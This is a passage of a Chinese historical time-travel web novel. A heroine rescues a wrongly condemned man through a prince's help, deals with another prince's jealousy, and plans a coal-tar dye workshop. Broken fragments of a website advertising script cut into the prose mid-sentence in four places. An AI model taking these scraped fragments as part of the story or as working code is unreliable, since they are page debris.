可此时皇阿玛正在狩猎,不若待皇阿玛回京之后再查?” 就知道八阿哥会推脱,四阿哥也表达了的自己的意见。 “怕是会夜长梦多,可待查证之后再呈报给皇阿玛看如何处置,八弟觉得呢?” 一直等下去,如果丁炳先死在刑部大牢里怎么办? 四阿哥毫不怀疑,真的可能会出现这样的结果。 可八阿哥不想管这些,既然四阿哥执意要管,他不会阻拦。 于是点了点头,“四哥说的也有道理,那待查实后我们一同奏报皇阿玛。” 听了这话,四阿哥不想在此继续虚以逶迤,这就是他不喜欢八阿哥的原因。 回去之后,四阿哥对沈姝转达了八阿哥的意思,此举并不是想要借口撒手不管,只是想让她知道这其中的不易之处。 沈姝知道八阿哥不想管必然是有原因的,便随口问了一句,“八爷可是怕得罪噶礼?” “何止!” 知道沈姝不同于寻常女子,她有心计,所以这事四阿哥也愿意跟她多说几句。 “刑部所涉官吏众多,此事若是查下去,究竟会牵扯何人犹未可知。” 塌方式腐败,整个部门全塌了,这种新闻后世所见不少。 沈姝明白四阿哥的意思,以为他不敢再查,不禁浮现出些失望之色。 “四爷肯施以援手,民女已不胜感激……” “无需如此,坐下说。” 沈姝说着想要行礼恳求,四阿哥伸手扶起了她。他不想看到她为旁人如此卑微乞求,因为她明明是那么肆意张扬的性子! 坐下来后,沈姝看着四阿哥继续道:“民女不愿四爷为难,不求彻查真相,只是希望能救丁炳先一命。” 八阿哥都不愿意干的事,她又凭什么强求四阿哥去做? 能救下丁炳先就好了,其他的,无所谓。 四阿哥闻言有些诧异,“我以为你会力求追查真相。” 只有这样才能趁机报仇,不是吗? 沈姝苦笑一声,“真相不重要,重要的是人活着。若是人死了,还要真相有何用!” 刑部大牢那地方,她都怕丁炳先被押解回去之后悄无声息的就死了。 毕竟不是有句话叫“死无对证”吗? 没有想到沈姝会这么说,虽然不太认同她的真相无用论,但四阿哥还是心感欣慰。 因为她没有强求,想必是已经知道他的为难之处。 不过该做的事情,他会做。 因为真相,很重要。 所以四阿哥说道:“放心,我会查清此案。至于后续如何,将由皇上定夺。” “多谢四爷。” 自从四阿哥真的愿意帮忙之后,沈姝的道谢都是真心实意。 四阿哥听罢笑笑,挤兑了她一句,“你呀,以后若是少骂我几句,我还得谢谢你呢!” 显然,他对自己被骂的事情念念不忘。 “抱歉……” 这多少有点儿尴尬,毕竟四阿哥真的帮了自己。虽然沈姝觉得自己骂的没错,不过还是低下头,连着说了几声抱歉的话。 “好了,回去休息吧,你也奔波了大半天。” 难得见沈姝服软,四阿哥心情愉悦。 既然四阿哥已经应下,并且已经插手此事,沈姝便回去等消息了。 四阿哥是雷厉风行之人,很快便查清了丁炳先一案的始末。 因为此案的问题实在是太多太明显了。 张勇犯案是在去年秋,而丁炳先今年春末才到的京城。 不仅如此,袁桥、蔡珍两位御史之前弹劾噶礼就曾问话过丁炳先及其族弟。 更何况经张勇的亲属邻人指认,根本就不认识丁炳先此人。 至于张勇这个原本应被处死的真凶,四阿哥都派人抓到了。 原来是张勇的家人花了一千两银子买通了人才得以逃脱,至于如何被替换成了丁炳先,那就需要继续再查。 但四阿哥已经不能再查下去,只能上折子奏请此事。不过他写的时候并没有提及噶礼一案,甚至是故意淡化了丁炳先叩阍一事。 倒不是怕得罪噶礼,而是希望皇上能将重点放在刑部,彻查此事。 刑部居然胆敢偷梁换柱,现在查实的是一例,没查出来的还不知道有多少! 若是提及噶礼,怕是会让皇上觉得此案是之前弹劾案的延续,反倒是不好。 噶礼现在是皇上不想处置的人,所以四阿哥认为即便是再提,也是一样的结果,而且会惹得龙颜不悦。 说实话,刑部能有如此触目惊心之事,四阿哥都觉得震惊! 这趟浑水,他是真不想趟。 可这事,得有人管…… 而八阿哥看到四阿哥送来的折子,没有任何意见,只是需要署名而已。 不过他倒是希望能趁机插手刑部的事情,反正得罪人的事情四阿哥已经做了大半。 两天后折子到了正在木兰围场秋弥的康熙手中,看到这份折子,他顿时勃然大怒。 天子脚下,竟能有如此荒唐之事! 这可是刑部,并不是什么偏远之地,为此事康熙当即决定提前回朝。 五日后圣驾回京,至于提前的原因,不少人已经知晓,包括十四阿哥。 所以一回京他便直奔八阿哥府。 “八哥,我听说京城出事了?” “嗯。” 八阿哥淡淡的点点头,随之说了一句,“说起来这事还与沈小姐有关。” 可不是与她有关,就是她折腾出来的! “什么?” 十四阿哥心里一“咯噔”,不禁连忙追问:“这、这怎么能跟阿姝有关?” 他还没来得及去看沈姝,该不会 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 是她出了什么事情? 这事八阿哥觉得还是需要交代一下十四阿哥,所以说的很详细。 “沈小姐的同乡来京叩阍,状告噶大人,然后人就失踪了。她来求我帮忙,我打探到人在刑部大牢,建议她等你回来再做打算。 她不知道是从哪里得到的消息,那人要被问斩,于是不知道用什么方法求得四哥帮忙。 四哥随之查出了刑部偷梁换柱草菅人命的大案,所以就变成现在这样了。” 他对四阿哥帮沈姝的原因很感兴趣,因为百思不得其解,甚至是怀疑这两个人是不是达成了什么不为人知的共谋。 否则,四阿哥又不傻,怎么可能会愿意帮忙? 所以八阿哥是想提醒十四阿哥去问问自己的女人,这到底是怎么回事! “她去找了四哥?” 十四阿哥满脸都是惊讶,正如同八阿哥的不解。他也一样想不明白沈姝怎么可能会去找四阿哥,明明这两个人之前都不对付! 关键是四阿哥居然肯帮忙,这根本就不正常,他也想知道原因是什么! “嗯。” 八阿哥很是确定的点点头,“听说是四哥带着她劫了法场。” “我去问问她!” 十四阿哥的脸色说不上好看,直接站起来转身就想走。 八阿哥却喊住了他,“十四弟,先别急着走啊!” 一看十四阿哥这急匆匆的模样,八阿哥就想摇头。正事还没说,一提到沈姝他就想心急,一副被美色迷昏了脑袋的蠢样! 见十四阿哥又重新坐了下来,八阿哥才缓缓说道:“现在刑部出此大事,皇阿玛因此提前回京,怕是明日朝堂之上便会指令查案。 只是本案由何人来查至关重要,十四弟你也知道刑部有太子的人……” 顿了顿又继续道:“无论皇阿玛决定由何人来查办此案,我想都不应再牵扯到噶大人。弹劾一事你也知道是什么结果,现噶大人为右副都御史,并不在刑部任职。 所以我想十四弟你是不是去跟沈小姐说说,勿要让她的同乡再咬着噶大人不放。” 同四阿哥想的一样,八阿哥也不想因为噶礼的事情去触霉头,所以才会希望十四阿哥去说服沈姝。 而沈姝于叩阍之人有救命之恩,又是同乡之情,她只要肯去说,对方应该能同意不再攀扯。 “我明白你的意思八哥,你放心。 不过查办此案的时候希望能不牵扯到阿姝,毕竟她不是叩阍之人。” 十四阿哥当然知道八阿哥的意思,都已经说的如此明了。 原本弹劾噶礼一事,他就觉得够呛。 不是他不愿意帮忙,而是这事根本就不是他能左右的。如果能做到,他当然希望能为沈姝报仇…… 只是没想到这事居然还有后续,而且还与沈姝有关。 十四阿哥不仅有些担心还有些头疼,此案绝对不能牵扯到沈姝,因为这对她也没有任何好处! “嗯。” 八阿哥笑了笑,“我也是这个意思,沈小姐一女子,牵扯进去实在是于名声有碍。” “多谢八哥。” 见八阿哥应下,十四阿哥就放心了。 八阿哥答应他的事情,都会办妥,再说这也不是什么费心费力的大事。 从八阿哥府离开后,十四阿哥没有直接去郊外的庄子上找沈姝,而是先差人招来了六子。 他想先问问,到底在自己离京的这段时间,沈姝都做了些什么? 23.第 23 章 六子是十四阿哥的人,面对问话自然是知无不言,不过他的叙说也只是大概的脉络,比如沈姝去过哪里见过什么人。 至于她与四阿哥都说了什么,他不知道,因为没有资格进书房旁听。 当然,六子还说了沈姝与四阿哥共骑一事。 竟然还有这事? 十四阿哥当即暴怒,手里的茶杯直接“哐”的一声砸在了地上,“狗东西,为什么不拦着!” 就知道十四阿哥要是听了一定会生气,六子“噗通”一声跪在地上认罚,“爷,您要罚便罚吧,是奴才的错……” 这事让他怎么拦? 谁能想到四阿哥一伸手,沈姝就搭了上去。 等他反应过来,马都蹿出去了老远! 难道他能追上去把沈姝从四阿哥马上拉下来不成? 要他说就是沈姝的错,她真是一点儿都不顾及十四阿哥的脸面! 明明十四阿哥对她那么上心,结果转眼她就搭上了四阿哥…… 问了一肚子火气出来,十四阿哥怒冲冲的跑去找沈姝,想问问她为什么要这样! 沈姝正在庄子上做染料合成试验,就看到十四阿哥满脸怒意的冲了进来,看到自己二话不说直接就是一句质问。 “阿姝,你为什么要去找四哥?” 十四阿哥还没气到失去理智,所以并没有直接问共骑之事。 而是循序渐进的问,想要了解更多情况。 一回来就跑过来质问,不用多想,沈姝就能猜到十四阿哥一回京就已经见过六子。 六子是他的人,当然不可能为她保密。 实验室不是谈事情的地方,沈姝放下手中的烧杯,朝十四阿哥说道:“我们出去说。” “好!” 十四阿哥看了沈姝一眼,率先走了出去。 摘掉眼镜和手套之后,沈姝也随之出去。 她没有先回答他的问题,而是问道:“十四爷,您应该知道了刑部的事情了吧?” 这副处变不惊的模样,让十四阿哥莫名的烦躁,他绷着脸又重复了一遍,“你为什么要去找四哥?” 沈姝微微皱眉,也不知道六子是怎么打的报告,原因还用再问她? “因为八爷不肯帮忙。” 十四阿哥看着沈姝反问:“八哥都不愿意帮的忙,为什么四哥就愿意?” 这个问题,沈姝没有什么可隐瞒的,直接回答道:“他刚开始也不愿意,不过我骂了他,用了激将法,然后他才应下。” “我不信!” 若是没有六子所说的共骑,这个解释十四阿哥勉强能信。 可现在他不信四阿哥对沈姝没有觊觎之心,否则怎么可能容许她上马? 沈姝知道四阿哥与十四阿哥立场不同,所以拿不准十四阿哥到底是想问什么,或者说他怀疑的是什么? 但很显然,十四阿哥不信她的话。 实话都说了,他也不信,那她有什么办法? “十四爷不信,那便罢了。” 眼看沈姝一点儿都不想解释为什么要上四阿哥的马这事,十四阿哥很生气,直接问出了心中的怀疑,“你是不是许了他什么,他才愿意帮忙?” 沈姝看着十四阿哥,脸色微沉,也有点儿生气。这么问,与其说是怀疑,倒不如说是污蔑! 她想知道,他到底是在怀疑什么,“那十四爷认为民女是许了什么?” 十四阿哥不想去揣测沈姝是不是觉得四阿哥能帮到她,所以已经委身于他。 可怀疑是止不住的,但又问不出口,最终还是只问了共骑的事情。 “你为什么要上四哥的马?” 没有想到十四阿哥扯了这么多,居然问的是这个问题,沈姝气到简直想笑。 不上马,难道要在后面跟着跑吗? “六子禀报的时候难道没有说当时民女是步行?” 沈姝知道十四阿哥对自己有意,既然他这么问,那她大概能猜出来了。 八成是觉得她只能上他的马,不能上其他异性的马。 说实话,沈姝还以为十四阿哥怀疑她成了四阿哥的二五仔,会暗中替他通风报信。 结果却是在争风吃醋! “那你也不能这样!” 沈姝理直气壮的态度让十四阿哥感到伤心,她可真是一点儿都不在乎他的感受! 不过她并没有任何心虚的表现,这倒让他没有那么生气,这说明她对四阿哥并没有什么心思,应该是真的因为着急救人。 至于共骑,那是四阿哥的错! 明知道沈姝是他的女人,四阿哥居然还这么做,十四阿哥心中暗恨。 现在他怀疑四阿哥之所以帮忙是因为对沈姝心怀不轨,意欲讨好! 沈姝不想再继续说下去,能怎么做那是她自己的事情。 她不想在这种事情上跟十四阿哥掰扯下去,于是选择了转移话题,“十四爷,之前跟您提过的,民女想搬出去……” 见沈姝转而提起这个,十四阿哥当即拒绝,声音还很大,“不行!” 没有明知故问的去问为什么,沈姝耐心解释道:“十四爷,民女想开个染坊做染布卖布的生意,继续住在这里不太方便。” 这又是唱的哪出? 十四阿哥眉头紧皱,不禁问道:“你为何又要做生意?” “民女想赚钱,喜欢赚钱。” 相比于成为十四阿哥的女人,沈姝更想成为他的金主。 她可以把赚到的钱分给他,而他需要为生意提供一定的庇护。 然后一起努力去夺嫡,努力当好四阿哥上位的绊脚石,争取绊他个鼻青脸肿,这样不好吗? 然而十四阿哥听了这话却是直接说道:“你要多少钱,我可以给你,你不需要出去抛头露面的做什么生意!” 真是难以沟通,沈姝叹了口气,开始刺激十四阿哥。 “十四爷您信不信,民女能赚到的钱绝对比你能给的要多的多!” 果然十四阿哥一句“我不信”脱口而出,这怎么可能? 沈姝随之说道:“那我们打个赌?” “……” 十四阿哥看着沈姝觉得她是在故意激自己,打什么赌? 那岂不是中了她的套子,要允许她做生意! 他转而劝道:“阿姝,我信你还不行? 你要真想赚钱,那也不要自己去做,何不把染坊交给九哥打理?” 沈姝摇摇头,继续做十四阿哥的思想工作,“可是我喜欢自己做生意,这样会很开心。” 十四阿哥不愿意沈姝做生意是有原因的,之前皇上都没有同意她入旗籍。如果再做生意成为商人,那岂不是更难以入籍? 但又知道拿这个理由劝不住她,因为现在她根本就不愿意成为他的女人…… 想到这里,十四阿哥突然觉得如果这样能让沈姝开心,也不是不可以。 他想了想开始变着花样的劝说:“我并不是说不让你做,而是做生意也没必要搬出去啊! (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 外面的那些个商行,哪个不是人多势众的? 你一个弱女子,若是自己孤零零,难免被人欺负轻视。可若是打着阿哥的名头,至少不会被人轻易欺负了去!” 这意思是愿意给她当保护伞? 有点儿喜出望外啊! 沈姝高兴的说道:“那说定了,等染坊开业,民女送十四爷您些料子做谢礼!” “好!那说好了,你继续先在这里住着,这几天我再去城里置办套宅子,正好你要开染坊做生意,住在庄子上也不方便。” 见沈姝笑的开心,十四阿哥心里也高兴。 而且还可以趁机让她住在外面的宅子里,省得福晋再找事。 此时的他已经完全忘了来时的怒气冲冲,甚至不想亲自再提八阿哥交代过的噶礼的事情。 因为觉得提起这事,沈姝一定会不高兴,而且还会怨他帮不上忙。 噶礼简直成了十四阿哥最不愿意听到的名字,之前沈姝总是以报仇之事为借口推脱他。 可偏偏此事,他现在无能为力,根本不想在她面前再提起。 所以八阿哥交代的事情,十四阿哥并不打算亲自给沈姝说,或者说并不想她知道。 而是决定让六子代为去敲打一下,让那些叩阍之人知道轻重。 而沈姝听了十四阿哥的话,也没再多说什么。至少她现在不能、也没有办法跟十四阿哥彻底撕破脸,只能先顺着他,然后再从中周旋。 离开庄子后,十四阿哥把事情交代给了六子。 六子避着沈姝找到丁炳先的两个族弟,进行了一番威逼利诱的劝说。 “前些天,沈小姐救下了你们大哥,但这事还没完。 现在皇上要下令彻查刑部的事情,有些事情得跟你们两个提前打声招呼,省得到时候你们再说错什么话。” 听六子这么说,顺子和栓子他们以为是沈姝有话要交代,连番点头,“小六哥您说,我们什么都不懂,肯定得听您的。” 六子满意的点点头,开始说重点,“之前你们弹劾噶大人,结果为你们出头的两位御史被罢官,这事你们应该也知道。 现在皇上是要彻查刑部,而噶大人并不是刑部属官。 若是此时再涉及噶大人,到时候会有什么后果可不好说,要知道你们大哥还在刑部大牢里! 况且这次可是沈小姐去求人救了你们,若是再牵扯出沈小姐,你们岂不是在害她?” 一番话说的顺子和栓子都陷入了纠结的沉默中,刚听到说皇上要彻查刑部,他们还想趁此机会再告山西之事。 可后面的话,直接打消了他们的想法。 他们不能害了大哥,更不能去害沈小姐这个救命恩人…… 可难道这事就这么算了? 这天下,真的就没有道理可讲了? “小六哥,那我们大哥无缘无故被打入死牢,还有山西百姓的冤屈,这些统统都不能再说?” 见这两人态度已经松动,六子继续说道:“天下这么大,怕是有冤屈的不仅是你们兄弟。说起来,你们还算是命好,不然……” 他摇了摇头,接着说道:“现在能让你们大哥安安稳稳的从牢里出来就已经不错了,留着命在,不比什么都强?” 顺子和栓子再次陷入沉默,这话听起来是很有道理,可是他们心中的怨愤仍在。 “你们好好想想吧,这话也会托人带给你们大哥。” 六子说完之后便走了,只留下两个脸色灰败的山西百姓。 24.第 24 章 “顺子哥,咱们怎么办?” 六子走后,这两个人才开始商量。 顺子垂着头盯着脚下的青砖地面,听了栓子的话好一会儿才抬起头来。 “你说这真的是沈小姐的意思吗?” 他不信沈姝不想报仇,若真是不想报仇,又怎么可能会费心救他们大哥? 栓子听明白了顺子的话,直接问道:“你的意思是刚才那个六子不是在替沈小姐传话?” “我不知道。” 顺子摇摇头,但还记得他们第一次被六子带过来见沈姝时的场景。 那时候他们意识到不应该当着六子的面提噶礼,所以六子未必能代表沈姝。 因为六子虽然跟着沈姝,但却是十四阿哥的人。 “不如我们去问问沈小姐,看她到底是什么意思。” 两个人一合计,决定当面去问沈姝。 六子没想到这两个人居然胆子这么大,还这么不讲究,明明他都说的那么明白了。 听了顺子和栓子二人的话,沈姝立刻就知道这肯定是十四阿哥的意思,毕竟六子是十四阿哥的人,听他的吩咐办事。 说实话沈姝根本就不指望十四阿哥能帮忙扳倒噶礼,因为十四阿哥年纪并不大,现在连个正经的差事都没有,而是依附于八阿哥。 别说他不想费心帮忙,就算是想,也没有那能力。从四阿哥和八阿哥的态度上来看,没有人愿意再去触噶礼这个霉头。 但沈姝理解顺子和栓子想要报仇的心思,所以说道:“你们的心思,我知道,我亦如此,可报仇不是一朝一夕之事。 当然我这么说,不是要劝你们放下仇恨,而是不要操之过急。” 同样的话,顺子和栓子显然更信沈姝。 顺子随之问道:“我们听您的,噶礼那狗官的事情可以暂且不提,那接下来应该怎么办?” 苦笑一声,沈姝摇摇头,“报仇一事,说实话我也不知道接下来应该怎么办,只知道此事单凭弹劾或告御状不可行,必须另寻他法。 有句话说的是,知己知彼百战不殆,我想道理用在报仇一事也是相通的。 所以打算先开个染坊卖布赚钱,然后再使人打探噶礼此人的具体情况,而后再看看有没有什么可乘之机。” 说完之后她看着他们问道:“只是眼下我没有可以信得过的人,你们可愿意留下来帮忙?” 说了这么多,其实沈姝是想趁机招揽丁炳先他们三人。 因为她手头上确实没有什么可用之人,六子是十四阿哥的人。 就算是现在去人牙子那里买些奴仆,也不能保证一定好用。 反倒是丁炳先他们三人与她至少是同仇敌忾,又是山西同乡,更为可信些。 “您要开染坊?” 顺子和栓子眼睛一亮,“我们丁氏在平遥也是开染坊的……” 说着他们就愤恨起来,“要不是噶礼那狗官,我们的染坊也不可能被夺走,大伯父也不会被活活气死!” 是的,他们丁氏的染坊就是被噶礼的弟弟强行夺走的,丁炳先执意要敲登闻鼓,是因为他想要替父报仇! 原来如此,沈姝这才知道丁炳先他们的遭遇。如此贪婪无度的官吏,能安然无恙,还有偷梁换柱草菅人命的刑部…… 这大清国的吏治,当真是败坏至极! 这就是沈姝认为自己没有骂错的原因,当然,她应该去骂康熙,只是不敢而已! 如她一心求死,才敢去骂四阿哥。 骂康熙,怕是死了也白搭。骂四阿哥,要是死了还能完成任务。 当然收拾噶礼这事骂谁都解决不了,还是要自行设法。 沈姝没有安慰这两个人,空口白牙的安慰有什么用呢? 最好的安慰就是要让人看到希望,看到结果。所以她直接问道:“那你们现在的打算是?” 顺子和栓子现在无法做出回答,他们二人一向是以丁炳先这个大哥为主,所以说道:“您想帮我们,我们很感激,只是此事需要看大哥是什么意思。” 沈姝点点头,“那等丁大哥出来后再说。” 至于丁炳先什么时候能从刑部大牢里出来,那得看情况。 康熙回京后的次日,指令四阿哥与八阿哥同审刑部一案。 四阿哥根本不想承办此案,因为怕查出来牵扯到太子的人。 他知道八阿哥肯定是想趁机剪除太子的势力,到时候自己会夹被夹在中间左右为难。 四阿哥深知一个道理,那就是很多时候并不是看谁有没有做错什么事,而是要看皇上到底想要怎么办? 皇上想办的人,没有错也会有错。 皇上不想办的人,即便真的有错也可以当做看不见。 说实话四阿哥觉得自己猜不透皇上的心思,不知道万一真查出来与太子有关,到时候要怎么办呢? 到底是该维护太子,还是该秉公处理? 或者更准确的说,他不知道到时候皇上会认为他应该维护太子还是维护律例…… 四阿哥的担心很快得到验证,早上刚被指令查案,下午就被太子招了过去。 不过在去太子府的路上,他的马突然发狂,为了救一个差点儿被疯马踩踏的孩童,他不慎扭伤了脚。 因为脚受伤行动不便,这查案的重任自然就要换人。 沈姝并不知道四阿哥受伤的事情,也不知道具体查办案件的人已经换了。 不过丁炳先很快被释放回来,至于此案到底会牵扯到什么人已经与她无关,她也不关心这些。 丁炳先在牢里被毒哑了嗓子,还受了刑,沈姝出钱让他先去看病,看看他的嗓子是否还能够恢复。 而她自己,则是去四阿哥府上表达一下谢意。不管怎么说,这事要不是四阿哥肯帮忙,丁炳先肯定是要枉死,所以得谢谢他啊! 沈姝带着顺子,拎着四样街上常见的点心去了四阿哥府。 因为空手去不好看,加之要开染坊手头紧,所以只能礼轻情意重的先拿些点心以表心意。 毕竟能入得了四阿哥这种天潢贵胄之眼的东西,沈姝自认是暂时买不起。 四阿哥扭伤了脚踝,正在家里修养,听下人禀告说沈姝登门拜访,心中微喜。 上次登门是来骂他的,想必这次应是来道谢的。他看了看自己依然肿痛未消的脚踝,觉得自己受得起她的谢意。 沈姝进来的时候看见四阿哥半卧在榻上,手里拿了本书正在翻看。 左脚伸着,脚踝处还敷着药膏,明显到一看就知道是受伤了。 看见沈姝进来,四阿哥抬头主动打了声招呼,“你怎么有空过来?” 沈姝这才知道四阿哥受伤的事情,便随口表达了一下关切之意,“四爷您的脚怎么了?” 不过她只以为是他自己不小心伤了,因为四阿哥是这样说的,“前几日不慎扭伤,这几日未曾出门,也不知道刑部一案现在是什么情况。” 之所以这么说,是想告诉沈姝刑部接下来的事情,他已经无 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 能为力。 沈沈本来也不在乎此案最终会是什么结果,这不是她能左右的事情。 所以只是点头表示知道,又说了一句,“那您安心静养,民女就不多打扰了。” 见刚说了两句话沈姝就想走,四阿哥很不乐意,这未免也过于敷衍了。 无视她的客套话,他不想放人走,于是随口问道:“你那个同乡丁炳先现在如何?” 说到丁炳先,沈姝这个外人都感到愤怒,好好的一个人,被折磨成这样! 她摇摇头,“能怎样?再怎么样不也得受着!” 听得出沈姝语气中的不忿,这种不忿显然是出于一种同情和怜悯。 四阿哥觉得沈姝身上是有一股不同于寻常之人的气概,若是普通女子心生怜悯,也不过是或哀叹几声抹抹眼泪或随手施舍些罢了。 可她呢? 根本就没有哀叹,只有义愤填膺,倒是像某些书生意气的读书人。 不过她可比许多书生敢骂多了! 但四阿哥不打算谈论这种不忿之情,他可不想沈姝再义愤填膺的说一些言辞激烈的话语。 所以只能继续表达对丁炳先的关心,“那他们打算怎么办?” 不知道四阿哥这么关注丁炳先他们到底是想知道什么,沈姝随口问道:“四爷怎么如此关心他们?” 四阿哥笑着反问了一句,“你之前不是还说我不关心百姓吗?” 装模作样! 沈姝撇撇嘴,在心里吐槽,嘴上说的却是,“那算是民女误会您了,真是抱歉啊!” 这语气一听就知道话不真心,不过四阿哥并不计较,反倒是有些喜欢沈姝这般的嗔怪娇俏。 他笑着点点头,温和的语气中带着一丝自嘲,“你对我是有一些误会,不过误会我的人也不差你一个。” 顿了顿他转而又道:“刑部一案,应该牵扯不到噶礼,你现在可有什么打算?” 想到自己要开染房,必要的宣传当然要有,沈姝当然不可能道出自己的真正打算,所以便趁机打了个广告。 “目前打算先开个染房卖布赚钱。” “你要经商?” 四阿哥明显有些惊讶,这着实出乎了他的意料。但却没有问为什么,因为知道沈姝极有主见,自然有她的理由。 而这个理由,她未必想说,所以只是好心的提醒了一句,“你这染坊最好不要再染紫色料子,这种染料已经算是贡品。” 这个沈姝知道,她点点头,“嗯,染坊会用其他颜色。” 还以为四阿哥会像十四阿哥或者四福晋那般不赞同做生意的事情,结果居然没有,她反倒是有些讶异。 其实四阿哥想知道十四阿哥对此事的态度,但又不好直接问。 按理说十四阿哥应该拦着她才对,所以这是没拦住吗? “那祝你生意兴隆。” “谢谢。若是开业,也送您些料子。” 已经闲扯了一会儿,沈姝起身再次告辞,“打扰您这么久,民女先告退了,希望您早日康复。” 这次四阿哥没有再拦,而是点点头,“早些回去吧。” 看着沈姝离开的身影,四阿哥突然想起来她那支簪子还留在自己的书房里。 之前是忘了,此时倒是忽然想起来了…… 不过他最终没有喊住她取走簪子,心道留着、便留着吧! 而沈姝回去之后,想尽快准备染布的生意。无论丁炳先他们是否愿意留下,她都得设法赚钱。 25.第 25 章 顺子这些天跟着沈姝,亲眼所见她为救自己大哥丁炳先而奔波求人,自然是感激不已。 而且还觉得她与四阿哥、八阿哥还有十四阿哥三位阿哥都有交情,绝对算得上是有靠山。 身为商人,顺子知道结识到这种天潢贵胄才能把生意做大。 之前他们就是因为没有够硬的靠山,才会被噶礼这个山西巡抚轻而易举的夺去了族产! 所以对于开染坊的提议,顺子很是心动。 就算是沈姝不会染布都无所谓,他们兄弟会就行! 不过这事当然要大哥点头才可以,一想到丁炳先现在的状况,顺子就忧心不已。 因为丁炳先的嗓子还没有治好,也不知道什么时候才能治好? 沈姝还没来得及跟丁炳先提染坊的事情,想着他才刚出来还需要治疗,打算等过些天再提。 可顺子心急忍不住,他是怕丁炳先不同意,所以提前先探探口风。 “大哥,前几天沈小姐说她想开染坊卖布,问我们愿不愿意跟她一起干,大哥你觉得这可行吗?” 听了顺子的话,丁炳先有些惊讶。 只是嗓子依然无法发声,所以拿起纸笔写了一句话,“你跟她说了咱们之前是开染坊的?” “说了,不过是沈小姐她先提了要开染坊,我才说了咱们也是做染坊的,你说这巧不巧?” 顺子了解丁炳先,大概能猜到一些他的顾虑,接着又道:“大哥,这可是难得的好机会啊!咱们现在就算是回去,也夺不回丁氏染坊,可在京城靠着沈小姐就能再开一家。 而且沈小姐还说她会想办法报仇,咱们跟着她说不定真的能收拾噶礼那狗官! 当然,或许她有其他目的,但咱们现在这样能被人家看上也不容易……” 丁炳先知道顺子一口气说了这么多,明显是想劝自己答应。 不过顺子误会了,他并不在意沈姝会不会染布或者是有其他什么目的。 对于沈姝,他自是感激不已! 若不是她,他早已成了刀下冤魂。 只是想在京城开染坊,光靠他们三人肯定不行,得让老家的族人也一并过来些。 这相当于是迁居千里,他不能保证一定能说服族人…… 觉得顺子实在是过于急切,丁炳先瞥了他一眼,写道:“沈小姐未必懂染布,你觉得仅凭我们三人能做得了?” “那倒也是……” 顺子摸了摸脑门,染布工序复杂,需要有经验的人来配置染料,而他们三人对此其实并不擅长。 但他实在是不想轻易放弃,于是说道:“那咱们可以先跟沈小姐说说,看她打算怎么办?” 丁炳先摇了摇头,表示不妥,觉得这是把问题推给了沈姝。她一个年纪轻轻的姑娘家,能知道怎么办? 不还得去找那些阿哥们帮忙! 那他们兄弟三个人岂不是都帮不上什么忙,这怎么好意思? “哎呀大哥!” 顺子有些急,“既然是沈小姐提的要开染坊,她应该也有想法,咱们问问也不多!总不能连问都不问一下就拒绝吧?” 一旁的栓子听到这里也插了句嘴,跟着劝说:“大哥,成与不成试试再看呗!” 要真是能过活,在哪里不行呢? 老家那可是连染布的方子都被强行夺走了,仅靠族里那点儿田产,能不能吃饱饭都不好说! 要不是实在被逼无奈,他们又怎么会跋涉千里进京告状? 见丁炳先依然在犹豫,顺子叹了口气,决定自己先去跟沈姝说明一下情况。 找到沈姝后,他并没有隐瞒而是说了实情,“染坊的生意,我们兄弟三人并不是不想跟着您干,实在是对于染料的配置并不擅长,怕会帮不上忙……” 听顺子说完,沈姝笑道:“染料的事情无需你们担心,说句实话,其实我只是缺几个信得过的人。” 顺子并不傻,当然听明白了这话的意思,当即拍着胸脯表忠心,“沈小姐,您对我们有救命之恩! 我们兄弟别的不说,您说撵鸡,我们就绝对不会打狗!” 看得出来,顺子很积极主动,沈姝很满意他的态度。 染料她已经合成出来几种,基本色有紫、红、黑、绿、黄、蓝,都是煤焦油系染料,用这些颜色还可以调制出其他中间色。 但煤焦油系染料有个重要缺陷,就是有一部分染棉麻质地的布料着色不佳,只能染丝质料子。 不过这不重要,重要的是这种染料成本足够低,而且颜色更为丰富。 现在染料是有了,染坊的事情必须要提上日程。既然顺子愿意,沈姝直接说道:“你们商量一下,染坊的事情我希望越快越好。 染料已经有了,你们什么时候有空我会告诉你们应该怎么使用。除此之外,还有其他事情需要交代你们。” 没想到连染料都已经准备好了,顺子很高兴,这样丁炳先的担心实属多余了。 他咧着嘴保证,“您放心,我这就跟大哥他们说,我们尽快着手。” 顺子先斩后奏已经擅自做出了决定,丁炳先听了他的话想吵他几句,但自己又说不出话来,气的拍了拍桌子。 大哥拍桌子是有点儿吓人,但机不可失时不再来! 顺子硬着头皮讪笑着劝道:“大哥,我看沈小姐很有章法,现在是万事俱备只欠东风!您看我这也应下了,咱们接下来怎么办呀?” 最终丁炳先叹了口气,提笔安排起来,“既是已经应下,咱们就已经算是沈小姐的人,只听令于她。她让怎么做,就怎么做。 顺子你机灵,就跟着沈小姐听吩咐。 栓子你先去城里打探一下各个布庄的布料颜色以及售价,万一她问起这些咱们不能什么都不知道。 至于我,这嗓子怕是治不好了,索性也不治了,看看沈小姐她怎么安排……” 看完了丁炳先写的这些,顺子心里松了口气,这事总算是定下来了,然后便跑去找沈姝。 沈姝确实有一大堆的事需要安排,而且还需要参考一下顺子他们的意见,毕竟这个时代的染坊她是真的不懂,也没见过。 她先是带着顺子去实验室观摩了染色剂的使用以及注意事项,然后才开始安排。 “染料的使用大概是这样,具体的工序我会写下来。以你们的经验,染坊怎么建需要出一份图纸给我,然后再根据图纸挑选适合的地方着手建造。 另外还需要去寻找一处合适的铺面,市面上现在的棉麻、丝绸等布料的颜色及售价也需要搜集一下,到时候我看看怎么定价。 除此之外,还要去找 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 工匠问一下这种样式的物件是否能够打造,需要花费多少。” 说着沈姝递给顺子一张煤气灯的图纸,炼焦是工业产业,主要可以获得焦炭还有焦炉煤气、煤焦油等。 煤焦油可以作为合成染料等化学产品的原料,至于煤气当然也不能浪费,至少可以先充作煤气灯的燃料。 焦炭更是热值极高的燃料,可以用于炼焦燃料,有多余的也可以待冬日卖出去当炭火取暖使用。 